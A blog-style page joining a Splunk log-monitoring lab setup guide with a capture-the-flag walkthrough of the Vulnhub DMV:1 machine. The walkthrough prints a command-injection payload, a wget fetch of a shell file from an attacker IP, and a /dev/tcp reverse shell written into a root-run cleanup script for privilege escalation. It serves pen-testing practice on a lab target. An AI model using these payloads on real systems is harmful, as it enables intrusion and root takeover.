SIEM: Log Monitoring Lab Setup with Splunk

Splunk Inc. is an American public multinational corporation based in San Francisco, California, that produces software for searching, monitoring, and analyzing machine-generated big data via a Web-style interface.

Splunk (the product) captures, indexes, and correlates real-time data in a searchable repository from which it can generate graphs, reports, alerts, dashboards, and visualizations.

Table of Content

§  What is Splunk

§  Splunk Features

§  Splunk Architecture

§  Prerequisites

§  Splunk Environment

§  Download and Install Splunk

§  Adding a task

§  Creating a Dashboard

§  Log Monitoring

What is Splunk

Splunk is a software that is used to search, and analyze machine data generated by various CPU running on web or local servers, IoT devices, mobile apps, sensors, or data created by the user. It completes the needs of IT infrastructure by analyzing the logs generated by systems in various processes in a structured or semi-structured format with proper data modelling and then it allows users to create Reports, Alerts, Tags, and Dashboards on these data.

Splunk Features

Data searching: - searching in Splunk involves the pattern of creating metrics or indexes on Dashboards.

Data ingestion: - Splunk ingest data in various formats like XML, JSON, and unstructured machine data such as logs of CPU running on web servers.

Data Indexing: - Splunk auto index the ingested data of various machines for the faster searching on various conditions.

Alerts: - Splunk alert used for triggering emails or other feeds when some unusual suspicious activity found in data is being analysed.

Dashboards: - it shows the search results in form of pivots, area mapping, pie charts, reports, etc.

Splunk Architecture

There are three main components of Splunk: -

·         Splunk Forwarder

·         Splunk Indexer

·         Splunk Head

Prerequisites

To configure Splunk in your Ubuntu platform, there are some prerequisites required for installation.

§  Ubuntu 20.04.1 with minimum 4GB RAM and 2 CPU

§  SSH Access with Root Privileges

§  Firewall Port: - 8000

Splunk Environment

In this blog, we will target to install an enterprise version that is available free for 60 days with all features enabled. You can download Splunk by following the below link.

https://www.splunk.com/en_us/download/splunk-enterprise.html

Linux version

Create a Splunk Account and download Splunk for Linux version by the given above link. We choose .deb Package for the installation in Ubuntu.

We can directly install it via terminal by copying wget snippet

Download and install Splunk

Now, Hit the terminal and download the Splunk into the tmp directory by entering the following command.

cd /tmp

wget -O splunk-8.0.5-a1a6394cc5ae-linux-2.6-amd64.deb 'https://www.splunk.com/bin/splunk/DownloadActivityServlet?architecture=x86_64&platform=linux&version=8.0.5&product=splunk&filename=splunk-8.0.5-a1a6394cc5ae-linux-2.6-amd64.deb&wget=true'

Next, we run the dpkg command to extract and install the Splunk server. To extract .deb package enter the following command

dpkg -i splunk-8.0.5-a1a6394cc5ae-linux-2.6-amd64.deb

Secondly, we need to create the init.d script so we can easily start or stop Splunk service. Change your binary directory at /opt/splunk/bin/ and run the following command to start the Splunk with system boot.

cd /opt/splunk/bin/

./splunk enable boot-start

During this process press the spacebar to go through the license agreement and then type “Y” to accept it and then provide the username and password that you created on the official website of Splunk. Finally, we can start Splunk service with the below argument.

service splunk start

Now, you need to make sure port 8000 is open on your server firewall and then you can access Splunk on web interface at

 http://server-Ip:8000/

                  or

 http://server-hostname:8000

And then, enter the login credentials that you created during the installation process to access the GUI interface. Once you logged in then you will have your Splunk Dashboard ready to set fire on the logs 😊.

Adding a task

On the Splunk web interface, there are various categories listed over on the homepage you can choose your own to start Splunking.

I’m adding an example for a task which is been added to the Splunk system. My task is to add or forward system logs to Splunk dashboard.

To forward logs to Splunk monitoring console just open the terminal and hit the following commands in the Splunk installed directory with the below arguments.

cd /opt/splunk/bin

./splunk add forward-server 192.168.205.135:9997 -auth splunk:Splunk@123

./splunk add monitor /var/log -sourcetype linux_logs -index remotelogs

./splunk restart

And then open Splunk search and reporting console and then run a query in the search bar.

index=remotelogs * host-ubuntu

You can also directly add this task by your Splunk Dashboard by following the below steps.

Step 1.

Fire up the Splunk web interface on your favourite browser and choose the “Add Data” option to start with.

Step 2.

The “Add Data” opens up with three options: Upload, Monitor, and Forward each option have self-explanatory with a short description. Our task is to monitor system logs we go with the option of “Monitor”.

In the monitor option, there are four categories as shown below

Files & Directories: To monitor files and folders

HTTP Event Collector: To Monitor Data streaming over HTTP

TCP/UDP: To monitor network Traffic over TCP/UDP ports

Scripts: To monitor Scripts and commands

Step 3.

As per our purpose we choose and go with the “Files & Directories” option.

And then we are going to browse the path where system logs are stored.

Now, we’re going to browse the exact path /var/log that’s from the server to monitor. Once you had done then select the next option.

After selecting the system files to monitor select the next option.

Also, you can whitelist or blacklist specific directories that you don’t want to monitor on a given dialogue box and then review your settings and hit submit button.

Congrats! Finally, you have successfully added the task to the Search & Reporting console now Start Searching.

Step 4.

Now you’ve successfully added data source to Splunk for monitoring. You can search and monitor logs file as required just run the search query

source="/var/log/*" host="ubuntu"

Creating a Dashboard

And then now you can save these logs directory on your dashboard or also you can create an alert that is used for triggering emails or other feeds when some unusual suspicious activity found in data is being analysed.

To add this search and reporting console on your Dashboard simply follow the steps as described below.

Step 5.

Just locate “Save As” option on above of the Search & Reporting console and select “Dashboard Panel”

By selecting option Dashboard panel, it will prompt a Save As panel. Enter the Title of Dashboard panel and descriptions then save it.

Great! You have successfully created your dashboard panel. Now you can directly monitor your system logs by heading system logs under Dashboards panel.

Just select options available on your dashboard that you want to monitor in my case I’m watching the server logs that I saved in my dashboard. Now You can watch as many files of your server by simply adding it into the dashboard panel.

Log Monitoring

This one is a little bit special, as we can go into the “Dashboard” tab select the options that you want to monitor

For example, I’m going to take access to my server by different protocol’s as described below

·         SSH

·         Telnet

·         Vsftpd

SSh logs

I use putty to take SSH access to my server machine

After setting host or port open the SSH prompt login into the server

After getting the access of the server get back to your dashboard and narrow down the logs to SSH on the server by running a query sshd.

Now, we can see SSH access of the server machine in Dashboard under saved panel named system logs.

Telnet

I used the same puttygen to take telnet access of my server machine use your credentials to log in to your server.

Let’s check what happened to the Splunk dashboard. After getting the access of the server get back to your dashboard and narrow down the logs to telnet on the server by running query telnet.

Now, we can see Telnet access logs of the server machine in Dashboard under the same panel.

Hang on!  This is not enough.

VSFTPD

I took the vsftpd access of my server machine by using winscp or you can use your desired applications.

Narrow down your search by running a query vsftpd and then successfully you will be able to see your server vsftpd logs.

You can run more search queries to drill down it deeper.

The more will be discussed in part 2.

Coming soon!

DMV :1 Vulnhub Walkthrough

CTF’s are one of the best and probably the fun way to get hands on pen testing experience. This one in particular, is a great CTF from Vulnhub which uses aspects of web penetration testing like file upload attacks. We get a chance to capture the requests being made from the web application and exploiting them to get into out victim machine.

It is of intermediate level difficulty, so there could be a few places where you could be stuck and the next step in the process won’t come naturally and will require a bit of manual searching.

You can download the this CTF from here.

So, let’s get you Started!!

Approach of Attack

·        Network Discovery and Scanning

Netdiscover

Nmap

·        Enumeration

Port 80

·        Web Application Exploitation

Burp Suit

File Upload attack

·        System Exploration & Exploitation

·        Privilege Escalation

Network Discovery and Scanning

To find the victim machine which has the CTF lab running on, we can start with using

netdiscover

We have deduced in the previous step, that the victim IP is 192.168.1.105

Let’s start with scanning the IP and see what we could be found. An Aggressive(A) nmap scan can help us get an idea of what all the ports and services running on the CTF machine.

Nmap -A 102.168.1.105

Enumeration

In the previous step, we saw that Port 80 is open and running an Apache server. To enumerate, let us open the web browser, and enter the IP of the victim machine in the URL section and see what we can find.

192.168.1.105

Well, now in the image below we are going to see something interesting. So here we see that this web application can be used to convert YouTube videos to MP3 format. Let’s see what is under the hood.

Burpsuite is the tool of choice here, so let’s start burp proxy.

We are now ready to capture the requests coming from this web application for analysis. After pasting a random YouTube URL in the test box, we hit the convert button.

Click on the intercept, and turn it on.

To see the response we will release this request.

We seem to be getting an error, that is curious, let’s try to find out what this error means and what it leads us to.

We copy and error and paste it in google to see what results we get for it.

Here we get a Github link.

On examining the Github link, we come across options on what command handles can be accepted by this web application.

Web Application Exploitation

There’s an option here that can be used in the web application to run a command

We will now do the request capture again and modify an argument that is captured. Using the “—exec’” option to run a command to see what files we can find.

--exec%3c‘ls${IFS}-la’

As a result, we can see index.php and its permissions for the present user.

The next step is to make a shell file with Python. Feel free to pick your favorite Python reverse shell code, just be sure to change the IP and the port of the shell to your attacking machine as we have done below.

Cat file.sh

Python -m SimpleHTTPServer

Our file is made, and we have turned on the python server on our attacking machine to host the shell file that we just made.

In Burpsuite we can do a request capture again and modify it for the victim machine to upload our shell file using the same command that we used last time to run a query on the victim machine, coupled with wget.

--exec%3c’wget${IFS}http://192.168.1.112:800/file.sh’

The operation is successful, our Python shell file has been successfully uploaded to the victim machine.

To validate what we have done, we use the ls -la command.

--exec%3c’ls${IFS}-la’

Our shell file is in the victim system ready and waiting to be executed, so let’s go ahead and get it going.

--exec%3c’bash${IFS} -la

file.sh

System Exploration & Exploitation

Our Netcat listener is ready and waiting for the reverse shell to call back to the attacking machine.

We have shell! Let’s explore the directories.

We come across a directory named “admin”, lets shift to it and look inside. We can see that there is a file named “flag.txt” here, on opening it we get our first flag.

The next thing to do will be to find files which are writeable and will take our input, so that we can get to a state of higher privilege.

nc -lvp 1234

 ls

cd admin

ls

cat flag.txt

find / -writeable -type d 2>/dev/null

Privilege Escalation

We find a directory named “tmp” that we can write to.

On digging into “tmp” and listing all hidden files, we find that there is a shell file named “clean.sh”, we can now write our shell code to this file and use it to get a shell with higher privileges.

Using echo, we put our shell code into the file.

cd tmp

ls -la

echo “bash -I >& /dev/tcp/192.168.1.112/8888 0>&1” > clean.sh

Now switch on Netcat listener and wait. This step requires a bit of patience as it can take up to a minute for the shell to call back to the attacking machine.

nc -lvp 8888

cd /root

ls

cat root.txt

Success! We’re in!

On exploring the root directory, we find a file named “root.txt”, we open it to find the final flag.

This ends out walkthrough of DMV:1.

As always, we at hacking articles will try to get you latest and greatest in the sphere of infosec.

Have fun and stay ethical.